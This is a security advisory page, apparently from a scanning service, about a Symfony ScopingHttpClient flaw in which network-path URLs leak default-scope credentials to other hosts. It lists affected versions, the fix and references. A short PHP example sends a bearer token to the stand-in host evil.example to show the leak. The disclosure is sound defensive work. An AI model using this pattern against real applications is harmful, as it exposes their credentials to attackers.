Symfony: ScopingHttpClient Sends the Credentials of Its Default Scope to Other Origins Through Network-Path References
Published 1 Dec 2026 · Updated 1 Dec 2026
Affected packages
- Affected
- <5.4.56
- Fixed in
- 5.4.56
composer require symfony/http-client:^5.4.56- Affected
- >=6.0.0 <6.4.50
- Fixed in
- 6.4.50
composer require symfony/http-client:^6.4.50- Affected
- >=7.0.0 <7.4.23
- Fixed in
- 7.4.23
composer require symfony/http-client:^7.4.23- Affected
- >=8.0.0 <8.1.11
- Fixed in
- 8.1.11
composer require symfony/http-client:^8.1.11- Affected
- <5.4.56
- Fixed in
- 5.4.56
composer require symfony/symfony:^5.4.56- Affected
- >=6.0.0 <6.4.50
- Fixed in
- 6.4.50
composer require symfony/symfony:^6.4.50- Affected
- >=7.0.0 <7.4.23
- Fixed in
- 7.4.23
composer require symfony/symfony:^7.4.23- Affected
- >=8.0.0 <8.1.11
- Fixed in
- 8.1.11
composer require symfony/symfony:^8.1.11Which symfony/http-client does your project really install?
Works for private projects: the file is read in memory to run the scan and then dropped. Also reads composer.json.
Public repo?
Look after several Laravel or PHP apps? Indie watches up to 15 repos, private ones too, for $5 a month. See Indie
Details
Description
ScopingHttpClient applies the options of a scope, such as auth_bearer, auth_basic, headers or local_cert, to the URLs that match that scope only. A relative URL is resolved against the base_uri of the default scope, and the options of that scope were merged before the URL was resolved. A network-path reference such as //evil.example/steal carries its own host: it resolves to a URL outside of the base URI's origin, which no scope matches, yet it kept the merged options, so the request was sent to that host with the credentials of the default scope. The absolute spelling of the same URL, https://evil.example/steal, gets none of them.
$client = ScopingHttpClient::forBaseUri(HttpClient::create(), 'https://api.example.com/', [
'auth_bearer' => 'secret',
]);
$client->request('GET', '//evil.example/steal'); // sent to evil.example with "Authorization: Bearer secret"This is how HttpClient::createForBaseUri() builds its client, and how the scoped clients configured with a base_uri under framework.http_client.scoped_clients are built. An application is exposed when an attacker controls the beginning of a URL passed to such a client, for example a path taken from user input or a URL taken from a remote API response. The same happened for another port or a user-info part on the same host, and when the resolved URL matched another scope, the credentials of the default scope were sent instead of that scope's own.
Resolution
After resolving a relative URL against the base URI of the default scope, ScopingHttpClient now compares the scheme and authority of the result with those of the base URI, parsed the way the request is sent. When they differ, the options of the default scope are dropped and the URL is matched against the scopes as if it had been passed in its absolute form. Relative URLs that stay on the scheme and authority of the base URI keep the options, including those that resolve outside of its path.
The user-info part counts as part of the authority: //user@api.example.com/ does not receive the options of the default scope anymore.
The patches for this issue are available here for branch 5.4 (and forward-ported to 6.4, 7.4, 8.1 and 8.2).
Credits
Symfony would like to thank Thomas Chauchefoin from Trail of Bits for reporting the issue and Nicolas Grekas for providing the fix.
Symfony would also like to thank Bruno Dias and Catarina Amorim from Checkmarx for their help getting a CVE assigned.
Is GHSA-gq53-v8w2-gjhj in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected symfony/http-client, and gives you the command that fixes it.
More advisories for symfony/http-client
- LowCVE-2026-123119Symfony: NoPrivateNetworkHttpClient Does Not Pin the Checked IP of Cached Hosts, Letting DNS Rebinding Enumerate Internal Ports: Incomplete Fix for CVE-2024-50342 · 1 Dec 2026
- MediumCVE-2026-48736Symfony: IpUtils::PRIVATE_SUBNETS Omits IPv6 Transition Forms (6to4, NAT64, Teredo, IPv4-compatible): SSRF Bypass in NoPrivateNetworkHttpClient · 15 Jun 2026
- LowCVE-2024-50342Symfony allows internal address and port enumeration by NoPrivateNetworkHttpClient · 6 Nov 2024
References
- Linkgithub.com/symfony/symfony/security/advisories/GHSA-gq53-v8w2-gjhj
- Advisorynvd.nist.gov/vuln/detail/CVE-2026-121971
- Linkgithub.com/symfony/symfony/commit/64c34e85bd03b3f8a735d8e1af393659dda91d7c
- Linkgithub.com/FriendsOfPHP/security-advisories/blob/master/symfony/http-client/CVE-2026-121971.yaml
- Linkgithub.com/FriendsOfPHP/security-advisories/blob/master/symfony/symfony/CVE-2026-121971.yaml
- Packagegithub.com/symfony/symfony
- Linkgithub.com/symfony/symfony/releases/tag/v5.4.56
- Linkgithub.com/symfony/symfony/releases/tag/v6.4.50
- Linkgithub.com/symfony/symfony/releases/tag/v7.4.23
- Linkgithub.com/symfony/symfony/releases/tag/v8.1.11
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.